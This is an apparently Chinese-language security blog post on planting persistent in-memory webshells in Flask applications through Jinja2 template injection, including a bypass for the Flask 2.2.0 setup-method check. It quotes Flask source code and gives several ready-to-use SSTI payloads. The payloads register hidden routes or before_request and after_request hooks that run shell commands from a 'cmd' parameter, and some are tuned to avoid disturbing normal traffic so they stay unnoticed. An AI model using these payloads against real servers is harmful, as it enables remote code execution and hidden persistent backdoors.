{{ url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell','shell',lambda:__import__('os').popen(request.args.get('cmd','whoami')).read())", {'request':url_for.__globals__['request'],'app': url_for.__globals__['current_app']}) }}

新版本(≥ 2.2.0)

防护分析

我们将前面旧版本的内存马获取 Flask 对象的逻辑稍加修改:

1
{{ url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell','shell',lambda:__import__('os').popen(request.args.get('cmd','whoami')).read())", {'request':url_for.__globals__['request'],'app': g.pop.__globals__.sys.modules['__main__'].app}) }}

然后在下一个版本 2.2.0 上运行。出现如下报错:

AssertionError: The setup method ‘add_url_rule’ can no longer be called on the application. It has already handled its first request, any changes will not be applied consistently.

断言错误:应用程序的设置方法 'add_url_rule' 已经不能再被调用。该应用已经处理过第一个请求,任何此时添加的更改将无法被一致地应用。

Make sure all imports, decorators, functions, etc. needed to set up the application are done before running it.

请确保所有需要用于设置应用程序的导入、装饰器、函数等操作,都在运行应用之前完成。

提示

Flask 2.2.0 版本安装:

1
2
3
4
5
6
7
python -m pip install --upgrade --force-reinstall \
"Flask==2.2.0" \
"Werkzeug==2.2.2" \
"Jinja2==3.1.2" \
"MarkupSafe==2.1.1" \
"click==8.1.3" \
"itsdangerous==2.1.2"

根据报错内容我们定位到报错的位置为 _check_setup_finished 函数,这个函数会检查程序是否已经处理过至少一次请求。如果已经处理过请求则会抛出异常。

1
2
3
4
5
6
7
8
9
10
11
12
# 内部用于记录应用程序是否已经处理过至少一次请求
self._got_first_request = False

def _check_setup_finished(self, f_name: str) -> None:
if self._got_registered_once:
raise AssertionError(
f"The setup method '{f_name}' can no longer be called on the blueprint"
f" '{self.name}'. It has already been registered at least once, any"
" changes will not be applied consistently.\n"
"Make sure all imports, decorators, functions, etc. needed to set up"
" the blueprint are done before registering it."
)

跟踪一下 _got_first_request 会发现在 full_dispatch_request 中会强制赋值成 True

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
def full_dispatch_request(self) -> Response:
# 📌 标记应用已经处理过请求
self._got_first_request = True

try:
# 发送 request_started 信号
request_started.send(self, _async_wrapper=self.ensure_sync)
# 请求预处理(before_request 等)
rv = self.preprocess_request()
if rv is None:
# 处理实际请求(路由匹配、调用视图函数)
rv = self.dispatch_request()
except Exception as e:
# 处理用户代码抛出的异常
rv = self.handle_user_exception(e)
# 返回最终响应
return self.finalize_request(rv)


def wsgi_app(self, environ: WSGIEnvironment, start_response: StartResponse) -> cabc.Iterable[bytes]:
# 创建请求上下文
ctx = self.request_context(environ)
error: BaseException | None = None
try:
try:
ctx.push()
# 执行完整的请求调度
response = self.full_dispatch_request()
except Exception as e:
# 这里会进入错误处理逻辑
...
finally:
...
return response(environ, start_response)


def __call__(self, environ: WSGIEnvironment, start_response: StartResponse) -> cabc.Iterable[bytes]:
# Flask 实例本身是一个 WSGI 应用对象,可直接被 WSGI 服务器调用
return self.wsgi_app(environ, start_response)

_check_setup_finished 来自于装饰器 setupmethod。该装饰器会将函数包装为:在函数调用前要调用 _check_setup_finished 函数进行检查。

1
2
3
4
5
6
7
8
def setupmethod(f: F) -> F:
f_name = f.__name__

def wrapper_func(self, *args: t.Any, **kwargs: t.Any) -> t.Any:
self._check_setup_finished(f_name)
return f(self, *args, **kwargs)

return t.cast(F, update_wrapper(wrapper_func, f))

而我们使用的路由注册函数 add_url_rule 被该装饰器装饰。

1
2
3
4
5
6
7
8
9
@setupmethod
def add_url_rule(
self,
rule: str,
endpoint: str | None = None,
view_func: ft.RouteCallable | None = None,
provide_automatic_options: bool | None = None,
**options: t.Any,
) -> None:

然而根据前面的分析,在过去的版本中 add_url_rule 也受到了 setupmethod 装饰器的修饰。

通过对 Flask 的分析可知,在 Flask 2.1.3 到 Flask 2.2.0 版本之间有一个关于 setupmethod 装饰器的修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
commit a406c297aafa28074d11ec6fd27c246c70418cb4
Author: David Lord <davidism@gmail.com>
Date: Mon May 23 08:49:30 2022 -0700

apply setupmethod consistently

diff --git a/src/flask/app.py b/src/flask/app.py
index e7a07add..c29c2e87 100644
--- a/src/flask/app.py
+++ b/src/flask/app.py
@@ -541,8 +541,17 @@ class Flask(Scaffold):
# the app's commands to another CLI tool.
self.cli.name = self.name

- def _is_setup_finished(self) -> bool:
- return self.debug and self._got_first_request
+ def _check_setup_finished(self, f_name: str) -> None:
+ if self._got_first_request:
+ raise AssertionError(
+ f"The setup method '{f_name}' can no longer be called"
+ " on the application. It has already handled its first"
+ " request, any changes will not be applied"
+ " consistently.\n"
+ "Make sure all imports, decorators, functions, etc."
+ " needed to set up the application are done before"
+ " running it."
+ )
diff --git a/src/flask/scaffold.py b/src/flask/scaffold.py
index b2dd46f354..154426ca63 100644
--- a/src/flask/scaffold.py
+++ b/src/flask/scaffold.py
@@ -37,22 +37,10 @@


def setupmethod(f: F) -> F:
- """Wraps a method so that it performs a check in debug mode if the
- first request was already handled.
- """
+ f_name = f.__name__

def wrapper_func(self, *args: t.Any, **kwargs: t.Any) -> t.Any:
- if self._is_setup_finished():
- raise AssertionError(
- "A setup function was called after the first request "
- "was handled. This usually indicates a bug in the"
- " application where a module was not imported and"
- " decorators or other functionality was called too"
- " late.\nTo fix this make sure to import all your view"
- " modules, database models, and everything related at a"
- " central place before the application starts serving"
- " requests."
- )
+ self._check_setup_finished(f_name)
return f(self, *args, **kwargs)

return t.cast(F, update_wrapper(wrapper_func, f))

在 2.1.3 版本,只有处于调试模式至少处理一次请求后调用 setupmethod 装饰器修饰过的函数才会报错,而 2.2.0 版本去掉了处于调试模式这个条件,导致我们不能通过 add_url_rule 注册内存马。

篡改路由表

由于 add_url_rule 函数添加了 setupmethod 检查,因此我们不能通过调用 add_url_rule 函数添加路由,而是模仿 add_url_rule 函数添加路由的过程,自己动手把两张核心表改了:

  • app.url_map(Werkzeug 的 Map,存放 URL 规则)
  • app.view_functions(endpoint → 视图函数 的字典)

只要把一条 Rule 塞进 url_map,再把同名 endpoint 的可调用塞进 view_functions,后续请求匹配到这个规则时就会调用你塞进去的函数。因为没有调用 add_url_rule,自然也就不会触发“首个请求后禁止修改”的断言。

我们可以分析一下 add_url_rule 函数的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
@setupmethod
def add_url_rule(
self,
rule: str, # URL 路径规则,比如 "/index" 或 "/user/<id>"
endpoint: str | None = None, # 端点名(endpoint),是视图函数在 Flask 内部的唯一标识
view_func: ft.RouteCallable | None = None, # 处理该 URL 的视图函数(可调用对象)
provide_automatic_options: bool | None = None, # 是否自动提供 OPTIONS 方法
**options: t.Any, # 其他参数,会传给 werkzeug.routing.Rule
) -> None:
# 如果没有手动指定 endpoint,则用视图函数名作为 endpoint
if endpoint is None:
endpoint = _endpoint_from_view_func(view_func) # type: ignore
options["endpoint"] = endpoint

# ...(这里省略了 methods 参数推导、HEAD/OPTIONS 自动添加等逻辑)

# 创建一个 Rule 对象(werkzeug.routing.Rule)
# - 保存 URL 匹配规则、允许的方法(methods)、endpoint 等信息
rule_obj = self.url_rule_class(rule, methods=methods, **options)

# 标记是否需要自动生成 OPTIONS 方法
rule_obj.provide_automatic_options = provide_automatic_options

# 📌 把 Rule 对象添加到 URL 映射表(Map)中
self.url_map.add(rule_obj)

# 如果传入了视图函数,则把它注册到 view_functions 字典
if view_func is not None:
# 检查是否已有同名 endpoint,如果有且不是同一个函数,则报错
old_func = self.view_functions.get(endpoint)
if old_func is not None and old_func != view_func:
raise AssertionError(
"View function mapping is overwriting an existing"
f" endpoint function: {endpoint}"
)
# 📌 注册 endpoint 对应的视图函数
self.view_functions[endpoint] = view_func

省略掉开头的处理代码,会发现在函数末尾的处理中,将 rule_obj 对象添加到了 url_map 中,之后将 view_func 作为了 view_functions 字典中 endpoint 键的值,所以理论上来讲,可以通过直接操作这两个变量来完成一次手动的 add_url_rule

假设我们是在 SSTI 的情境下,由于此时不能一次执行多条 Python 语句,因此我们需要分两步植入内存马:

  1. 首先构造第一条请求向 url_map 中新增一条 UrlRule

    1
    {{ url_for.__globals__['__builtins__']['eval']("app.url_map.add(app.url_rule_class('/shell',methods=['GET'],endpoint='shell'))", {'app': g.pop.__globals__.sys.modules['__main__'].app}) }}
  2. 之后再构造第二条请求,向 view_functions 中增加对应 endpoint 的实现:

    1
    {{ url_for.__globals__['__builtins__']['eval']("app.view_functions.update({'shell':lambda:__import__('os').popen(request.args.get('cmd', 'whoami')).read()})", {'request':url_for.__globals__['request'],'app': g.pop.__globals__.sys.modules['__main__'].app}) }}

注册请求钩子

但 Flask 还有一类机制——请求钩子(Request Hooks),它们不受 @setupmethod 限制,可以在运行时继续追加。

Flask 提供以下常用钩子(按执行顺序):

钩子 调用时机 函数签名 返回值要求
before_first_request 第一个请求前(只执行一次) f() 忽略返回值
before_request 每个请求处理前 f() NoneResponse(返回 Response 会短路)
after_request 每个请求处理后 f(response) 必须返回 Response
teardown_request 每个请求结束时 f(exception) 忽略返回值
errorhandler 指定异常发生时 f(error) Response

提示

这里钩子的名称指的是用于注册回调函数的装饰器的名称。

这里以 before_requestafter_request 两个装饰器函数为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
@setupmethod
def before_request(self, f: T_before_request) -> T_before_request:
"""
注册一个函数,在每次请求之前运行。

例如,这可以用来打开数据库连接,或者
从 session 中加载已登录的用户。

示例:
@app.before_request
def load_user():
if "user_id" in session:
g.user = db.session.get(session["user_id"])

该函数会在调用时 **不带任何参数**。
如果它返回一个非 ``None`` 的值,
这个返回值会被当作视图函数的返回值来处理,
并且会**终止后续的请求处理**。
"""
self.before_request_funcs.setdefault(None, []).append(f)
return f


@setupmethod
def after_request(self, f: T_after_request) -> T_after_request:
"""
注册一个函数,在每次请求处理完成后(响应返回之前)运行。

该函数会接收一个响应对象作为参数,且**必须返回一个响应对象**。
这样就可以在响应发送给客户端之前,对其进行修改或替换。

如果某个函数抛出异常,则剩余的 ``after_request`` 函数将**不会**被调用。
因此,这个钩子不应用于必须执行的清理操作,
比如关闭资源 —— 对于这类操作应使用 :meth:`teardown_request`。
"""
self.after_request_funcs.setdefault(None, []).append(f)
return f

虽然两个函数同样被 setupmethod 装饰器修饰,但是这两个函数实现非常简单,本质上都是往一个字典中 key 为 None 的对应的列表中添加函数

因此我们完全可以将装饰器函数中的代码执行一遍从而将内存马注册进去。

由于 before_request 函数如果返回一个非 None 的值则这个返回值会被当作视图函数的返回值来处理,并且会终止后续的请求处理。因此我们可以直接将内存马函数通过 app.before_request_funcs.setdefault 注册进去,这样内存马的返回值直接就可以回显回来。

1
{{ url_for.__globals__['__builtins__']['eval']("app.before_request_funcs.setdefault(None,[]).append(lambda:__import__('os').popen(request.args.get('cmd','whoami')).read())", {'request':url_for.__globals__['request'],'app': g.pop.__globals__.sys.modules['__main__'].app}) }}

然而这样的写法有个问题,那就是所有的请求都会被内存马函数拦截,这就导致程序正常的功能受到影响。

为了避免这个问题,我们可以在内存马函数中加一些判断,如果没有命令参数就返回 None 避免影响程序正常功能。

1
2
3
lambda: CmdResp if request.args.get('cmd') and exec(
"global CmdResp;CmdResp=__import__('os').popen(request.args.get('cmd')).read()"
) == None else None

对应的 SSTI payload 如下:

1
{{ url_for.__globals__['__builtins__']['eval']("app.before_request_funcs.setdefault(None,[]).append(lambda:CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'os\').popen(request.args.get(\'cmd\')).read()\")==None else None)", {'request':url_for.__globals__['request'],'app': g.pop.__globals__.sys.modules['__main__'].app}) }}

after_request 会接收一个响应对象作为参数,且必须返回一个响应对象。因此我们需要将 before_request 的逻辑修改成“如果没有命令参数则将函数参数返回”。

1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None,[]).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':g.pop.__globals__.sys.modules['__main__'].app})}}

注意

after_request 注册的函数必须返回一个响应对象,因此我们需要将命令执行结果用 flask.make_response 转换一下,否则会报错:

TypeError: ‘str’ object is not callable

  • Title: Python 常见框架安全
  • Author: sky123
  • Created at : 2025-08-12 00:26:57
  • Updated at : 2025-08-12 00:53:32
  • Link: https://skyi23.github.io/2025/08/12/Python 常见框架安全/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments